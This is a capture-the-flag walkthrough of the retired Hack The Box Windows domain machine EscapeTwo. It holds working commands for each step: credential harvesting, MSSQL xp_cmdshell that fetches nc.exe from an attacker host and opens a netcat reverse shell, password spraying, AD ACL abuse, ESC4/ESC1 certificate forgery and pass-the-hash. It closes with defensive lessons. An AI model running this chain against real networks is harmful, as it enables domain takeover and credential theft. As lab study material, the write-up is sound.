



RETIRED MACHINE

EscapeTwo

Machine Writeup · Hack The Box

4.2 ★

RATING

Easy

DIFFICULTY

Windows

OS

9,814

USER OWNS

8,932

SYSTEM OWNS

20

POINTS

MACHINE SYNOPSIS

EscapeTwo is an Easy Windows Active Directory assume-breach machine (rose:KxEpkKe6R8su). The Accounting Department SMB share contains two corrupted .xlsx files; unzipping accounts.xlsx reveals sharedStrings.xml with credentials for angela, oscar, kevin, and sa. The sa credential (MSSQLP@ssw0rd!) authenticates to MSSQL (port 1433). xp_cmdshell is enabled and used to download nc.exe and send a reverse shell as sql_svc. The SQL Server install config (sql-Configuration.INI) exposes sql_svc's domain password (WqSZAF6CysDQbGb3), which sprays to ryan via SMB. Ryan has WinRM access (Pwn3d!) and the user flag. BloodHound reveals ryan has WriteOwner on ca_svc (member of Cert Publishers). impacket-ownedit + dactedit + bloodyAD reset ca_svc's password. Certipy finds the DunderMifflinAuthentication template vulnerable to ESC4 (Cert Publishers has dangerous permissions). certipy template rewrites it to be ESC1 vulnerable, then certipy req obtains administrator.pfx. certipy auth extracts the Administrator NTLM hash → evil-winrm PtH → root flag.

CONTENTS

01 Reconnaissance & Assume Breach Setup

02 Accounting Dept Share — xlsx Credential Extraction

03 MSSQL sa Login — xp_cmdshell → Reverse Shell

04 sql-Configuration.INI — ryan Credentials + User Flag

05 BloodHound — ryan WriteOwner over ca_svc	06 WriteOwner Exploit → ca_svc Password Reset
07 ESC4 + ESC1 → Administrator PFX → Root	08 Lessons Learned

MH

Martí Hervás

Penetration Tester · Hack The Box · 2026

01

Reconnaissance & Assume Breach Setup

TTL 127 confirms Windows. This is an **assume breach scenario** — initial credentials are provided: **rose:KxEPkKe6R8su**. Nmap reveals the full DC stack plus the standout: **port 1433 (MSSQL)**. Domain is **sequel.htb**, hostname **DC01**, Windows Server 2019 Build 17763. SMB signing required, clock-skew minimal (4 seconds). With rose's credentials, share enumeration reveals **Accounting Department** (READ) and **Users** (READ) as accessible shares. 8 domain users are enumerated via `--users`.

NMAP — KEY PORTS (DC + MSSQL 1433)

nmap — sequel.htb DC01, MSSQL 1433 + full AD stack

```
$ ping -c 1 10.129.7.251 # TTL 127 -> Windows

$ nmap -Pn -n --open -p- --min-rate 5000 10.129.7.251 -oG allPorts
[*] Open ports: 53,88,135,139,389,445,464,593,636,1433,3268,3269,5985,9389,...

# Key services:
88/tcp    open  kerberos  Microsoft Windows Kerberos
389/tcp    open  ldap      (Domain: sequel.htb) commonName=DC01.sequel.htb
445/tcp    open  smb       signing:True SMBv1:None
1433/tcp   open  mssql     Microsoft SQL Server 2019 (15.0.2000) <- KEY!
5985/tcp   open  http      Microsoft HTTPAPI 2.0 <- WinRM
|_clock-skew: mean: 3s <- no Kerberos sync needed
```

ROSE — SMB SHARES + USER ENUMERATION

netexec — rose credentials valid, Accounting Dept share readable

```
$ nxc smb 10.129.7.251 -u 'rose' -p 'KxEPkKe6R8su' --shares
SMB DC01 [+] sequel.htb\rose:KxEPkKe6R8su
SMB DC01 Accounting Department READ <- has xlsx files!
SMB DC01 Users READ
SMB DC01 IPC$ READ

$ nxc smb 10.129.7.251 -u 'rose' -p 'KxEPkKe6R8su' --users
SMB DC01 Administrator / michael / ryan / oscar
SMB DC01 sql_svc / rose / ca_svc / krbtgt

# /etc/hosts: 10.129.7.251 DC01.sequel.htb sequel.htb sequel DC01
```

02

Accounting Dept Share — xlsx Credential Extraction

The Accounting Department share contains two Excel files: **accounting_2024.xlsx** and **accounts.xlsx**. Both appear corrupted when opened in Excel/LibreOffice. Since .xlsx files are ZIP archives, they can be unzipped and inspected directly. Inside **accounts.xlsx**, the file **xl/sharedStrings.xml** contains cleartext credentials for four accounts including the MSSQL **sa** account. Password spraying confirms **oscar:86LxLBMgEWaKUnBG** on SMB but oscar lacks WinRM access. The **sa:MSSQLP@ssw0rd!** credential is the key for the next step.

DOWNLOAD + UNZIP xlsx — EXTRACT sharedStrings.xml

accounts.xlsx → sharedStrings.xml — 4 credentials extracted

```
# Download both xlsx files:
$ smbclient '//10.129.7.251/Accounting Department' -U 'rose%KxEpkKe6R8su'
smb: \> mget *
getting file \accounts.xlsx (15.2 KiloBytes/sec)
getting file \accounting_2024.xlsx (12.1 KiloBytes/sec)

# xlsx = ZIP archive -> extract and inspect:
$ unzip accounts.xlsx -d accounts_extracted/
$ cat accounts_extracted/xl/sharedStrings.xml

# Credentials found in sharedStrings.xml:
angela    0fwz7Q4mSpurIt99
oscar     86LxLBMgEWaKUnBG
kevin     Md9Wlq1E5bZnVDVo
sa        MSSQLP@ssw0rd!    <- MSSQL System Administrator!
```

PASSWORD SPRAY — oscar VALID ON SMB

spray — oscar SMB valid, no WinRM; sa -> target MSSQL port 1433

```
# Spray all 4 passwords against domain users:
$ nxc smb 10.129.7.251 -u users -p '86LxLBMgEWaKUnBG' --continue-on-success
SMB  DC01  [+] sequel.htb\oscar:86LxLBMgEWaKUnBG  <- VALID!

# oscar has no WinRM access:
$ nxc winrm 10.129.7.251 -u oscar -p '86LxLBMgEWaKUnBG'
WINRM  DC01  [-] sequel.htb\oscar:86LxLBMgEWaKUnBG

# sa:MSSQLP@ssw0rd! -> try MSSQL login directly (port 1433)
```

NOTE

Office documents (.xlsx, .docx, .pptx) are ZIP archives containing XML files. When a file is 'corrupted' or won't open, unzipping it directly bypasses the application layer and exposes the raw XML content. **sharedStrings.xml** stores all text strings used in an Excel workbook — any cleartext credential typed into a cell ends up here in plaintext regardless of cell formatting.

03

MSSQL sa Login — xp_cmdshell → Reverse Shell

The **sa (System Administrator)** account authenticates to SQL Server 2019 on DC01\SQLEXPRESS via **impacket-mssqlclient**. The sa account has full SQL Server privileges including `enable_xp_cmdshell` — the stored procedure that executes OS commands as the SQL Server service account (**sequelsql_svc**). certutil downloads nc.exe from the attacker's HTTP server to C:\programdata\nc.exe, then `xp_cmdshell` executes a netcat reverse shell. A shell is received as **sequelsql_svc**.

MSSQLCLIENT — sa LOGIN + ENABLE xp_cmdshell

mssqlclient — sa login, xp_cmdshell enabled, sql_svc context

```
$ python3 mssqlclient.py sa:'MSSQLP@ssw0rd!'@10.129.7.251
[*] Encryption required, switching to TLS
[*] ACK: Result: 1 - Microsoft SQL Server 2019 (15.0.2000)

SQL (sa  dbo@master)> enable_xp_cmdshell
INFO(DC01\SQLEXPRESS): Configuration option 'xp_cmdshell' changed from 0 to 1.

SQL (sa  dbo@master)> xp_cmdshell whoami
output
-----
sequel\sql_svc  <- executing as domain service account
```

CERTUTIL UPLOAD nc.exe + REVERSE SHELL

xp_cmdshell — certutil + nc.exe → reverse shell as sql_svc

```
# Serve nc.exe from attacker:
$ python3 -m http.server 8008

# Download via certutil:
SQL (sa  dbo@master)> exec xp_cmdshell \
    'certutil -urlcache -split -f http://10.10.14.91:8008/nc.exe c:\programdata\nc.exe'
output: ****  Online  ****  0000 ... 6e00  CertUtil: command completed successfully.

# Trigger reverse shell:
SQL (sa  dbo@master)> exec xp_cmdshell \
    'c:\programdata\nc.exe 10.10.14.91 1234 -e cmd.exe'

# Listener receives connection:
$ nc -nvlp 1234
connect to [10.10.14.91] from [10.129.7.251] 52112
C:\Windows\system32> whoami
sequel\sql_svc
```

NOTE

`xp_cmdshell` executes OS commands in the security context of the SQL Server service account. The sa login always has permission to enable it. Once enabled, it persists until explicitly disabled. On production systems, `xp_cmdshell` should be disabled (default), SQL Server should run as a low-privilege service account, and sa should be disabled or renamed.

04

sql-Configuration.INI → ryan Credentials + User Flag

Enumerating the SQL Server installation directory `C:\SQL2019\ExpressAdv_ENU\` reveals **sql-Configuration.INI** — the unattended installation config file. This file contains the SQL Server service account password in plaintext: **SQLSVCPASSWORD=WqSZAF6CysDQbGb3** (sequel\sql_svc). Password spraying this credential against all domain users identifies **ryan:WqSZAF6CysDQbGb3** as a valid match. Ryan has WinRM access (Pwn3d!) and the user flag is on his Desktop.

sql-Configuration.INI — SQLSVCPASSWORD IN PLAINTEXT

sql-Configuration.INI — SQLSVCPASSWORD WqSZAF6CysDQbGb3 exposed

```
C:\SQL2019\ExpressAdv_ENU> type sql-Configuration.INI

[OPTIONS]
ACTION="Install"
INSTANCENAME="SQLEXPRESS"
SQLSVCACCOUNT="SEQUEL\sql_svc"
SQLSVCPASSWORD="WqSZAF6CysDQbGb3" <- service account password!
SQLSYSADMINACCOUNTS="SEQUEL\Administrator"
SECURITYMODE="SQL"
SAPWD="MSSQLP@ssw0rd!"

# Two passwords exposed: sql_svc + sa (already known)
# Spray WqSZAF6CysDQbGb3 against all domain users:
```

PASSWORD SPRAY → ryan + USER FLAG

spray + evil-winrm — ryan WinRM Pwn3d!, user flag obtained

```
$ nxc smb 10.129.7.251 -u users -p 'WqSZAF6CysDQbGb3'
SMB  DC01  [-] sequel.htb\Administrator:WqSZAF6CysDQbGb3 STATUS_LOGON_FAILURE
SMB  DC01  [-] sequel.htb\michael:WqSZAF6CysDQbGb3 STATUS_LOGON_FAILURE
SMB  DC01  [+] sequel.htb\ryan:WqSZAF6CysDQbGb3 <- HIT!

$ nxc winrm 10.129.7.251 -u ryan -p 'WqSZAF6CysDQbGb3'
WINRM  DC01  [+] sequel.htb\ryan:WqSZAF6CysDQbGb3 (Pwn3d!)

$ evil-winrm -i 10.129.7.251 -u ryan -p 'WqSZAF6CysDQbGb3'
*Evil-WinRM* PS C:\Users\ryan\Documents> type ../desktop/user.txt
4e74f5a1e270afa7*****
```

05

BloodHound — ryan WriteOwner over ca_svc

BloodHound data is collected with bloodhound-python using ryan's credentials. Analysis of ryan's outbound control rights reveals: **ryan has WriteOwner over ca_svc**. ca_svc is the Certificate Authority service account, a member of **Cert Publishers** — the group with full control over the DunderMifflinAuthentication ADCS template. The attack chain is: WriteOwner → take ownership → grant FullControl → reset ca_svc password → use ca_svc to exploit ESC4.

BLOODHOUND — DATA COLLECTION + ATTACK PATH

BloodHound — ryan WriteOwner -> ca_svc -> Cert Publishers -> ESC4

```
$ bloodhound-python -c All -ns 10.129.7.251 -d sequel.htb \
  --zip -u ryan -p 'Wq$ZAF6CysDQbGb3'
[*] Found AD domain: sequel.htb
[*] Found 10 users, 59 groups, 1 computers
[*] Compressing output into 20260601_bloodhound.zip

# BloodHound attack path (ryan outbound control):

ryan --[WriteOwner]--> ca_svc --[MemberOf]--> CERT PUBLISHERS
      |
      [FullControl]--> DunderMifflinAuthentication (ESC4)
      |
      [ESC4->ESC1]--> administrator@sequel.htb (PFX)
```

NOTE

WriteOwner on an AD object allows changing its owner. Once owner, you can grant yourself any permission via DACL modification (WriteDACL) leading to GenericAll/FullControl. This enables password reset, SPN modification, or any other attribute manipulation. Always run BloodHound after obtaining new credentials — even service accounts may have unexpected ACL paths.

06

WriteOwner Exploit → ca_svc Password Reset

Three steps chain the WriteOwner right into ca_svc credential control: (1) **impacket-ownereedit** sets ryan as owner of the ca_svc AD object. (2) **impacket-dacledit** grants ryan FullControl over ca_svc via DACL write. (3) **bloodyAD** resets ca_svc's password to **Udl1234**. NetExec confirms the new credential is valid. Now ca_svc's Cert Publishers membership can be leveraged to modify the DunderMifflinAuthentication certificate template.

STEP 1 — OWNEREDIT: ryan BECOMES OWNER OF ca_svc

owneredit — ryan set as owner of ca_svc AD object

```
$ impacket-owneredit -action write -new-owner 'ryan' \
  -target-dn 'CN=CERTIFICATION AUTHORITY,CN=USERS,DC=SEQUEL,DC=HTB' \
  'sequel.htb/ryan:WqSZAF6CysDQbGb3' -dc-ip 10.129.7.251

[*] Current owner: Domain Admins (S-1-5-21-...-512)
[*] OwnerSid modified successfully!

# ryan is now owner of the ca_svc object
```

STEP 2 — DACLEDIT: GRANT ryan FullControl

dacledit — ryan FullControl on ca_svc via DACL write

```
$ impacket-dacledit -action 'write' -rights 'FullControl' \
  -principal 'ryan' \
  -target-dn 'CN=CERTIFICATION AUTHORITY,CN=USERS,DC=SEQUEL,DC=HTB' \
  'sequel.htb/ryan:WqSZAF6CysDQbGb3' -dc-ip 10.129.7.251

[*] DACL backed up to dacledit-20260601-213448.bak
[*] DACL modified successfully!

# ryan now has FullControl over ca_svc -> can reset password
```

STEP 3 — BLOODYAD: RESET ca_svc PASSWORD

bloodyAD — ca_svc password reset to Udl1234, validated

```
$ bloodyAD --host '10.129.7.251' -d 'sequel.htb' \
  -u 'ryan' -p 'WqSZAF6CysDQbGb3' \
  set password 'ca_svc' 'Udl1234'

[+] Password changed successfully!

# Validate new credential:
$ nxc smb 10.129.7.251 -u ca_svc -p 'Udl1234'
SMB DC01 [+] sequel.htb\ca_svc:Udl1234

# ca_svc authenticated! Now exploit Cert Publishers -> ESC4
```

07

ESC4 + ESC1 → Administrator PFX → Root Flag

Certipy-AD scans ADCS templates with ca_svc credentials and flags **DunderMifflinAuthentication** as **ESC4 vulnerable**: SEQUEL.HTB\Cert Publishers has dangerous permissions (FullControl) over this template. Since ca_svc is in Cert Publishers, it can rewrite the template's configuration. **certipy template** applies the default-configuration (ESC1-enabling), making the template accept attacker-supplied SANs. **certipy req** requests a certificate with -upn administrator@sequel.htb, yielding **administrator.pfx**. **certipy auth** authenticates with the PFX, gets a TGT, and extracts the Administrator NTLM hash. evil-winrm Pass-the-Hash delivers the root flag.

CERTIPY FIND — ESC4 ON DunderMifflinAuthentication

certipy find — DunderMifflinAuthentication ESC4 via Cert Publishers

```
$ certipy find -u 'ca_svc@sequel.htb' -p 'Udl1234' \
  -dc-ip 10.129.7.251 -vulnerable

Certificate Template : DunderMifflinAuthentication
CA Name              : sequel-DC01-CA
Template Name        : DunderMifflinAuthentication
Enabled              : True

[!] Vulnerabilities
    ESC4 : 'SEQUEL.HTB\Cert Publishers' has dangerous permissions

# ca_svc in Cert Publishers -> can rewrite the template configuration
# -> modify to enable ESC1 (EnrolleeSuppliesSubject) -> request as Admin
```

CERTIPY TEMPLATE — REWRITE TO ESC1 VULNERABLE

certipy template — DunderMifflinAuthentication rewritten to ESC1

```
$ certipy template -u ca_svc@sequel.htb -p 'Udl1234' \
  -template DunderMifflinAuthentication \
  -write-default-configuration \
  -dc-ip 10.129.7.251

[*] Saving current configuration to 'DunderMifflinAuthentication.json'
[*] Updating certificate template 'DunderMifflinAuthentication'
[*] Replacing:
[*]   msPKI-Certificate-Name-Flag: 1  <- EnrolleeSuppliesSubject = ESC1!
[*]   pKIEntendedKeyUsage: ['1.3.6.1.5.5.7.3.2'] <- Client Authentication
Are you sure? (y/N): y
[*] Successfully updated 'DunderMifflinAuthentication'
```

CERTIPY REQ + AUTH — administrator.pfx → NTLM HASH

certipy req/auth — administrator.pfx → NTLM hash extracted

```
# Request certificate as Administrator (ESC1 abuse):
$ certipy req -u ca_svc@sequel.htb -p 'Udl1234' \
  -ca 'sequel-DC01-CA' \
  -template DunderMifflinAuthentication \
  -upn administrator@sequel.htb \
  -dc-ip 10.129.7.251

[*] Got certificate with UPN 'administrator@sequel.htb'
[*] Saving certificate and private key to 'administrator.pfx'

# Authenticate with PFX -> TGT + NT hash:
$ certipy auth -pfx administrator.pfx -domain sequel.htb -dc-ip 10.129.7.251

[*] Got TGT
[*] Got hash for 'administrator@sequel.htb':
aad3b435b51404eeaad3b435b51404ee:7a8d4e04986afa8ed4060f75*****
```

EVIL-WINRM PASS-THE-HASH → ROOT FLAG

evil-winrm PtH — sequeladministrator shell, root flag obtained

```

$ evil-winrm -i 10.129.7.251 -u 'Administrator' -H '7a8d4e04986afa8ed4060f75e5a0b3ff'
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
sequel\administrator

*Evil-WinRM* PS C:\Users\Administrator\Documents> type ../desktop/root.txt
abdc7bb257bfcf8a7b16c243*****

# DOMAIN COMPROMISED — Administrator via ESC4->ESC1 + PtH
# Chain: rose -> xlsx -> sa MSSQL -> xp_cmdshell -> sql_svc
#       -> sql-Configuration.INI -> ryan -> WriteOwner -> ca_svc
#       -> ESC4 -> ESC1 -> administrator.pfx -> NTLM -> SYSTEM

```

NOTE

ESC4 (weak ACL on certificate template) is exploited by modifying the template to enable ESC1 (EnrolleeSuppliesSubject + Client Authentication). Once ESC1 is active, any authorized enrollee can request a certificate impersonating any user in the SAN/UPN field. certipy template -write-default-configuration is the standard exploitation path — it resets the template to Certipy's safe-to-exploit default configuration enabling CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT.

08**Lessons Learned****01****Corrupted Office Files Still Contain Plaintext Credential Data**

accounts.xlsx appeared corrupted but its XML content was fully readable after unzipping. All Office Open XML formats (.xlsx, .docx, .pptx) store data as plain XML inside ZIP archives. Credential data in cells ends up in sharedStrings.xml in cleartext. Never store credentials in spreadsheets or documents, even 'corrupted' ones, as the data remains accessible.

02**MSSQL xp_cmdshell Is an Instant OS Code Execution Path**

The sa account with its default password enabled xp_cmdshell, providing immediate OS command execution. MSSQL should run under a least-privilege service account (not NETWORK SERVICE or Local System), xp_cmdshell should be disabled permanently, sa should be disabled or renamed, and MSSQL should not be exposed on the network unless strictly required.

03**SQL Server Unattended Install Files Store Plaintext Passwords**

sql-Configuration.INI contains SQLSVCPASSWORD and SAPWD in plaintext — required for unattended installation but never cleaned up afterward. These files should be deleted immediately after installation. Search for them with: Get-ChildItem -Path C:\ -Recurse -Name 'sql-Configuration.INI' -ErrorAction SilentlyContinue, and always check SQL2019 and similar installation directories during post-exploitation enumeration.

04**WriteOwner on Service Accounts Creates a Privilege Escalation Bridge**

Ryan's WriteOwner right on ca_svc chained into ownedit -> dactedit -> password reset -> Cert Publishers access -> ESC4 exploitation. WriteOwner, WriteDACL, and GenericWrite on any privileged account are equally dangerous as GenericAll. Audit AD ACLs regularly with BloodHound and restrict object ownership delegation strictly.

05

ESC4 Enables Any CA-Adjacent Account to Rewrite Certificate Templates

Cert Publishers membership granted ca_svc full control over the DunderMifflinAuthentication template, enabling ESC4 -> ESC1 exploitation. Review all certificate templates with certipy find -vulnerable regularly. Restrict Cert Publishers membership to CA machine accounts only, and enforce Manager Approval + Authorized Signatures on all templates that allow Client Authentication to prevent unauthorized enrollment.

Writeup authored by Marti Hervas · Hack The Box · EscapeTwo Machine · 2026